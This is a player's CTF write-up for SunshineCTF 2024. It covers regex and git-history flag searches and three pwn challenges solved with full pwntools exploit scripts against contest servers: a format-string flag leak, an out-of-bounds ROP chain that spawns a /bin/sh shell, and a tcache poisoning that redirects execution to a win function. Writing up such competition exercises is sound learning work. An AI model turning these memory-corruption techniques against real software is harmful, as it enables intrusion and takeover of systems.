|
2024-10-22
SunshineCTF 2024 writeup-by.naup96321
Author: 堇姬Naup WAN - r.k.10
This is myself some solve script and easy writeup. Just record some questions
My solve list
image
My team score board
image
Scripting This catagory challenge give you one git bundle Use
1 git clone <git bundle> <folder path>
can get git.
Guessy Programmer 0 Just one file which have many many sun...
,just use regex find sun\{.*?\}
and then we will get flag.
script 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import redef check (file_path ): with open (file_path, 'r' , encoding='utf-8' ) as file: content = file.read() pattern = r'sun\{.*?\}' match = re.search(pattern, content) if match : print (f"{match .group()} " ) else : print ("error" ) file = 'adventure_novel.txt' check(file)
Guessy Programmer 1 It has many many git commit history and all commit have file(adventure_novel_2.txt) which have many sun...
words.
First, I write git log to log.txt. And then fetch all commit history and git show
. Final, using regex filter sun\{.*?\}
script 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 import subprocessimport redef commits (log ): commits = [] with open (log, 'r' ) as f: for line in f: if line.startswith("commit" ): commits.append(line.split()[1 ]) return commits def match (commit, file_path ): try : file_content = subprocess.check_output( ['git' , 'show' , f'{commit} :{file_path} ' ], stderr=subprocess.STDOUT ).decode('utf-8' ) pattern = r'sun\{.*?\}' aa = re.findall(pattern, file_content) return aa except : return None def main (log, file ): commit = commits(log) for commit in commits: aa = match (commit, file) if aa: for match in aa: print (f"{commit} : {match } " ) log = 'log.txt' file = 'adventure_novel_2.txt' main(log, file)
Guessy Programmer 2 Add some base64 confuse my regex. I add [A-Za-z0-9+/=]{20,}
. If it may base64 word, it will be decoded. Last part same as Guessy Programmer 1.
script 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 import subprocessimport reimport base64def get_commits (log_file ): commits = [] with open (log_file, 'r' ) as f: for line in f: if line.startswith("commit" ): commits.append(line.split()[1 ]) return commits def decode_base64_if_needed (content ): try : decoded_content = base64.b64decode(content).decode('utf-8' ) return decoded_content except (base64.binascii.Error, UnicodeDecodeError): return None def check_pattern_in_commit (commit, file_path ): try : file_content = subprocess.check_output( ['git' , 'show' , f'{commit} :{file_path} ' ], stderr=subprocess.STDOUT ).decode('utf-8' ) pattern = r'sun\{.*?\}' matches = re.findall(pattern, file_content) base64_pattern = r'[A-Za-z0-9+/=]{20,}' base64_matches = re.findall(base64_pattern, file_content) for b64_string in base64_matches: decoded_content = decode_base64_if_needed(b64_string) if decoded_content: matches += re.findall(pattern, decoded_content) return matches except subprocess.CalledProcessError: return None def main (log_file, file_path ): commits = get_commits(log_file) for commit in commits: matches = check_pattern_in_commit(commit, file_path) if matches: for match in matches: print (f"{commit} : {match } " ) log_file = 'log.txt' file_path = 'adventure_novel_2.txt' main(log_file, file_path)
Guessy Programmer 3 It is .gif. but if i cat .git, it has flag(base64 or not) Use .sh
fetch all commit git’s word. Last part same as Guessy Programmer 1.
script 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 # !/bin/bash > a.txt commits=$(grep -oP '(?<=commit )\w+' log.txt) for commit in $commits; do git show "$commit:adventure_novel_3.gif" >> a.txt 2>/dev/null if [ $? -ne 0 ]; then echo "$commit no have adventure_novel_3.gif" >> a.txt else echo "$commit" >> a.txt fi done echo "success"
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import subprocessimport reimport base64def decode_base64_if_needed (content ): try : decoded_content = base64.b64decode(content).decode('utf-8' ) return decoded_content except (base64.binascii.Error, UnicodeDecodeError): return None with open ('a.txt' , 'r' , encoding='utf-8' ) as file: content = file.read() file_content = content pattern = r'sun\{.*?\}' matches = re.findall(pattern, file_content) base64_pattern = r'[A-Za-z0-9+/=]{20,}' base64_matches = re.findall(base64_pattern, file_content) for b64_string in base64_matches: decoded_content = decode_base64_if_needed(b64_string) if decoded_content: matches += re.findall(pattern, decoded_content) print (matches)
Pwn This is my CTF templates, you can give my repo one star!!! if you like.https://github.com/Naupjjin/MyCTFLib.git
Flag Shop buffer overflow and use fmt read flag pointer(on stack) to screen. buffer overflow can write isadmin, and then bypass admin panel’s if
. %9$s -> rsp + 0x18(flag pointer) -> flag
script 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 from pwn import *from libs.NAUP_pwn_lib import *import timefrom libs.NAUP_filestructure_lib import *from libs.NAUP_fmt_lib import *def s (payload ): return r.send(payload)def sl (payload ): return r.sendline(payload)def sla (after, payload ): return r.sendlineafter(after, payload)def sa (after, payload ): return r.sendafter(after, payload)def rc (num ): return r.recv(num)def rcl (): return r.recvline()def rcls (num ): return r.recvlines(num)def rcu (payload ): return r.recvuntil(payload)def ita (): return r.interactive()def cl (): return r.close()def tsl (): return time.sleep(0.2 )x64_env() REMOTE_LOCAL=input ("local?(y/n):" ) if REMOTE_LOCAL=="y" : r=process('./workshop' ) debug_init() else : REMOTE_INFO=split_nc("nc 2024.sunshinectf.games 24001" ) REMOTE_IP=REMOTE_INFO[0 ] REMOTE_PORT=int (REMOTE_INFO[1 ]) r=remote(REMOTE_IP,REMOTE_PORT) if input ('attach?(y/n)' ) == 'y' : p_c(r,'b *0xffff' ) sla(b'\n' ,b'a' ) sla(b'\n' ,b'b' ) sla(b'\n' ,b'1' +b'a' *0xa +b'%9$s' +b'a' *0xe ) ita()
Adventure! On the High C! glibc 2.39
We can look this, we can input row and column and then enter this place.
1 2 3 4 5 6 printf ( "<<< Fired outside board, corrupting %p from %02x to %02x!" , &enemy_board[16 * row_input + column_input], *(&savedregs + 16 * row_input + column_input - 528 ), choice); *(&savedregs + 16 * row_input + column_input - 528 ) = choice;
It have filter your input, but still print and write wrong index. It is oob read and oob write
1 2 3 4 _BOOL8 __fastcall filter_row_column (unsigned int a1, unsigned int a2) { return a1 <= 0xF && a2 <= 0xF ; }
oob read and oob write can leak PIE, write /bin/sh\x00
, and write ROP to ret address pop rdi + /bin/sh address + ret + system plt (offset you can use 16 * row + column to caculate)
script remote can work, but local don’t work. so strange
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 from pwn import *from libs.NAUP_pwn_lib import *import timefrom libs.NAUP_filestructure_lib import *from libs.NAUP_fmt_lib import *import osdef s (payload ): return r.send(payload)def sl (payload ): return r.sendline(payload)def sla (after, payload ): return r.sendlineafter(after, payload)def sa (after, payload ): return r.sendafter(after, payload)def rc (num ): return r.recv(num)def rcl (): return r.recvline()def rcls (num ): return r.recvlines(num)def rcu (payload ): return r.recvuntil(payload)def ita (): return r.interactive()def cl (): return r.close()def tsl (): return time.sleep(0.2 )x64_env() REMOTE_LOCAL=input ("local?(y/n):" ) if REMOTE_LOCAL=="y" : r=process('./ship' ) debug_init() else : REMOTE_INFO=split_nc("nc 2024.sunshinectf.games 24003" ) REMOTE_IP=REMOTE_INFO[0 ] REMOTE_PORT=int (REMOTE_INFO[1 ]) r=remote(REMOTE_IP,REMOTE_PORT) if input ('attach?(y/n)' ) == 'y' : p(r) def attack (row, column,ascii ): sla(b'Enter the row (0-9, a-f) >>> ' ,str (row).encode()) sla(b'Enter the column (0-9, a-f) >>> ' ,str (column).encode()) sla(b'Choose missile type - Tomahawk (T), Hellfire (H), SideWinder (S), Custom (C) >>> ' , b'C' ) sla(b'Enter a custom missile as a single ASCII character >>> ' ,ascii ) leakPIE = 0 for i in range (0 ,6 ): if REMOTE_LOCAL == 'y' : attack(37 ,8 +i,b'a' ) else : attack(35 ,8 +i,b'a' ) rcu(b'from ' ) leakPIE += int (rcl()[:2 ],16 ) << i*8 PIEbase = leakPIE - 0x1437 pop_rdi = PIEbase + 0x1754 system_plt = PIEbase + 0x1060 ret = pop_rdi + 0x1 attack(0 ,20 ,b'a' ) rcu(b'<<< Fired outside board, corrupting ' ) leakstack = int (rcl()[:14 ],16 ) binsh = "/bin/sh\x00" for i in range (len (binsh)): attack(0 , 1 +i, binsh[i]) binsh_addr = leakstack - 19 for i in range (6 ): attack(33 ,8 +i,(pop_rdi >> (i * 8 ) & 0xff ).to_bytes(1 , byteorder='big' )) attack(33 ,14 ,b'\x00' ) attack(33 ,15 ,b'\x00' ) print ('**success write pop rdi**' )for i in range (6 ): attack(34 ,i,(binsh_addr >> (i * 8 ) & 0xff ).to_bytes(1 , byteorder='big' )) attack(34 ,6 ,b'\x00' ) attack(34 ,7 ,b'\x00' ) print ('**success write /bin/sh**' )for i in range (6 ): attack(34 , i+8 , (ret >> (i * 8 ) & 0xff ).to_bytes(1 , byteorder='big' )) attack(34 ,14 ,b'\x00' ) attack(34 ,15 ,b'\x00' ) print ('**success write ret**' )for i in range (6 ): attack(35 ,i,(system_plt >> (i * 8 ) & 0xff ).to_bytes(1 , byteorder='big' )) attack(35 ,6 ,b'\x00' ) attack(35 ,7 ,b'\x00' ) print ('**success write system**' )attack(32 ,12 ,b'a' ) NAUPINFO('LEAKPIE' ,hex (leakPIE)) NAUPINFO('PIE BASE' ,hex (PIEbase)) print (leakstack)ita()
heap01 glibc 2.35 It has oob on heap(two times).
1 2 3 4 5 6 7 8 9 puts ("Index: " );inp = get_inp(); puts ("Value: " );v2[inp] = get_inp(); puts ("The chunk is still hungry... let's fill it up some more!\n" );puts ("Index: " );v4 = get_inp(); puts ("Value: " );v2[v4] = get_inp();
We can write tcache_pthread_struct. write tcache entry to stack(the binary give me stack) and tcache count(Must same as tcache entry size).
1 tcache entry[1] -> stack address on ret address
when malloc chunk, we will get fake chunk on stack. write ret address to win function
1 2 3 4 5 6 7 v5 = malloc (size); puts ("Value 1: " ); *v5 = get_inp(); puts ("Value 2 - " ); v5[1 ] = get_inp(); puts ("Value 3 -> " );v5[2 ] = get_inp();
script 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 rom pwn import * from libs.NAUP_pwn_lib import *import timefrom libs.NAUP_filestructure_lib import *from libs.NAUP_fmt_lib import *def s (payload ): return r.send(payload)def sl (payload ): return r.sendline(payload)def sla (after, payload ): return r.sendlineafter(after, payload)def sa (after, payload ): return r.sendafter(after, payload)def rc (num ): return r.recv(num)def rcl (): return r.recvline()def rcls (num ): return r.recvlines(num)def rcu (payload ): return r.recvuntil(payload)def ita (): return r.interactive()def cl (): return r.close()def tsl (): return time.sleep(0.2 )x64_env() REMOTE_LOCAL=input ("local?(y/n):" ) if REMOTE_LOCAL=="y" : r=process('./heap01' ) debug_init() else : REMOTE_INFO=split_nc("nc 2024.sunshinectf.games 24006" ) REMOTE_IP=REMOTE_INFO[0 ] REMOTE_PORT=int (REMOTE_INFO[1 ]) r=remote(REMOTE_IP,REMOTE_PORT) if input ('attach?(y/n)' ) == 'y' : p(r) win_address = 0x40126b sla(b'Do you want a leak? ' ,b'a' ) leak_stack = int (rcls(2 )[1 ],16 ) sla(b'Enter chunk size: ' ,b'48' ) sla(b'Index: ' ,b'-578' ) print (str (leak_stack))sla(b'Value: ' ,str (leak_stack+0x20 )) sla(b'Index: ' ,b'-596' ) sla(b'Value: ' ,b'281479271743489' ) sla(b'Value 1: ' ,str (win_address+0x5 )) sla(b'Value 2 - ' ,str (win_address+0x5 )) sla(b'Value 3 -> ' ,str (win_address+0x5 )) NAUPINFO('LEAK STACK' ,hex (leak_stack)) ita()
after Last year, Aukro, WH, and I played our first CTF together, starting with SunshineCTF 2023. We stayed up late solving challenges, and the most memorable one was extracting a git bundle, which we worked on until the middle of the night. After all the discussions, we finally finished in 76th place.
A year later, we came back to SunshineCTF. After clearing the scripting challenges, I play with Aukro on pwn (as a weber, I spent the whole time watching pwn, haha). We managed to solve 3 out of 6 pwn challenges and finished all pwn challenge with Aukro.
WAN ended up taking 10th place, marking my first top 10 finish on CTFtime. This also brought back the pure joy I once felt playing CTFs.
I really love that feeling in CTFs where everyone works together, stays up late solving challenges, and cheers when we finally solve them. It feels like staying up late playing video games, lol.
In the future, I’ll keep walking down the path of cybersecurity and CTFs. Thanks to WAN, CakeisTheFake, and all the partners I’ve studied cybersecurity with, as well as the seniors who taught me so much.